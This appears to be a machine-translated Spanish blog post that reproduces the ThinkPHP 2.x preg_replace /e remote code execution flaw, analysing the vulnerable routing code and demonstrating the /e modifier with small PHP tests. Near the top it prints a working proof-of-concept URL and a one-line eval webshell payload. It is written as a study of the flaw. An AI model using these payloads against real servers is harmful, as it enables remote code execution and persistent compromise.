Vulnerabilidad de ejecución de código arbitrario ThinkPHP 2.x [reproducir]

Vulnerabilidad de ejecución de código arbitrario ThinkPHP 2.x

Prefacio

Esta es la primera vez que reproduzco la vulnerabilidad, pero siento que mi descripción no es muy clara ( un poco lógicamente confusa ), y el enlace de referencia al final del artículo es muy claro.

Descripción de la vulnerabilidad:

En la versión ThinkPHP 2.x, preg_replacela /eruta de coincidencia de patrones utilizada:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

Como resultado, los parámetros de entrada del usuario se insertan entre comillas dobles para su ejecución, lo que genera vulnerabilidades de ejecución de código arbitrario.

La versión ThinkPHP 3.0 tiene esta vulnerabilidad porque la vulnerabilidad no se corrige en el modo Lite.

Recurrencia de la vulnerabilidad

POCO:

/index.php?s=/index/index/name/${
    
    @phpinfo()}

Inserte la descripción de la imagen aquí
Realice un troyano de una frase:

/index.php?s=/index/index/name/${
    
    @print(eval($_POST[1]))}

Inserte la descripción de la imagen aquí

Análisis de causa:

La función preg_replace realiza una búsqueda y reemplazo de expresiones regulares.

gramática:

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

Busque la pieza que coincida con el patrón en el tema y reemplácela con reemplazo.

Pero en el modo / e, los caracteres reemplazados se ejecutarán como código.

Inserte la descripción de la imagen aquí
@ Y / tienen el mismo efecto. PHP 7 y superior ya no admiten la modificación / e.

Análisis de código:

// 分析PATHINFO信息
        self::getPathInfo();

        if(!self::routerCheck()){
    
       // 检测路由规则 如果没有则按默认规则调度URL
            $paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
            $var  =  array();
            if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
    
    
                $var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
                if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
    
    
                    // 禁止直接访问分组
                    exit;
                }
            }
            if(!isset($_GET[C('VAR_MODULE')])) {
    
    // 还没有定义模块名称
                $var[C('VAR_MODULE')]  =   array_shift($paths);
            }
            $var[C('VAR_ACTION')]  =   array_shift($paths);
            // 解析剩余的URL参数
            $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
            $_GET   =  array_merge($var,$_GET);
        }

En el primer juicio if, si no hay una regla de enrutamiento, se usa la regla predeterminada, que es ejecutar $ res.

$ var es una matriz, las operaciones en ella \$var[\'\\1\']="\\2";significan que el primer valor es clave y el segundo valor es valor.

Inserte la descripción de la imagen aquí
w + coincide con uno o más números, letras y guiones bajos.

Por tanto, cuando el tercer parámetro es controlable, se puede insertar código malicioso.

Inserte la descripción de la imagen aquí
En PHP, $ {} puede construir una variable, {} escribe caracteres ordinarios, luego se tratará como una variable, por ejemplo, $ {a} es equivalente a $ a, entonces si {} escribe un existente ¿Conoce el nombre de la función? Entonces se ejecutará esta función.

La regla de acceso a URL típica para ThinkPHP5.1 sin una ruta definida es:
http: //serverName/index.php (u otros archivos de entrada de aplicaciones) / module / controller / operation / [nombre de parámetro / valor de parámetro ...]
si Servidores que no son compatibles con PATHINFO se puede acceder en modo de compatibilidad de la siguiente manera:
http: //serverName/index.php (u otros archivos de entrada de la aplicación)? s = / module / controller / operation / [nombre del parámetro / valor del parámetro ...]

Referencia:
ejecución de código arbitrario ThinkPHP 2.x de vulnerabilidades de la serie ThinkPHP

Estudiaré duro.

Analice principalmente la regularidad, después de todo, es el lugar donde existe la laguna:

<?php
function test($str)
{
    
    
    echo "This func is run  $str .";
}

$a='GoodGoodStudy';
$b='[bbbaaahelloworldaaabbb]';

echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);

运行结果:
[bbbGoodGoodStudybbb]

La parte entre aaa en la variable b se reemplaza con el valor de la variable a.

<?php
function test($str)
{
    
    
    echo "This func is run  $str .";
}

$a='test()';
$b='[bbbaaahelloworldaaabbb]';

echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);

运行结果:
This func is run   .[bbbbbb]

La variable a es una función. Durante el reemplazo regular, la palabra infernal que debería haber sido reemplazada se reemplaza de hecho, pero no tiene valor.

<?php
function test($str)
{
    
    
    echo "This func is run  $str .";
}

$a='test("\1")';
$b='[bbbaaahelloworldaaabbb]';

echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);

运行结果:
This func is run  helloworld .[bbbbbb]

Pasando el parámetro "\ 1" a la prueba de función de la variable a, la parte que debe ser reemplazada, es decir, helloword, se pasa como parámetro.

<?php
function test($str)
{
    
    
    echo "This func is run  $str .";
}

$a='test("\1")';
$b='aaa$caaa';
$c="CXK";

echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);

运行结果:
This func is run  CXK .

A través del parámetro controlable b, se pasa una variable c.

Comprensión personal: la posición original en la expresión regular que se reemplazará depende de la matriz para el almacenamiento, y el "\ 1" pasado por prueba es equivalente a eliminar los elementos de la matriz (la matriz no es muy apropiada, porque la matriz comienza desde 0), Realizó la transferencia de parámetros.

Pruébelo:
Inserte la descripción de la imagen aquí
seguro.

Entonces esto es fácil de entender: $ var ['\ 1'] = "\ 2"

El primer dato a reemplazar, el primero se le da a la clave, y el segundo se le da al valor (parece que se dijo antes, aquí hay comprensión).

La posición controlable es implosión ($ depr, $ caminos), implosión () convierte la matriz en una cadena.

En este punto, casi lo he entendido ( casi lo he entendido, jaja ).

Supongo que te gusta

Origin blog.csdn.net/qq_45742511/article/details/114915146
Recomendado
Clasificación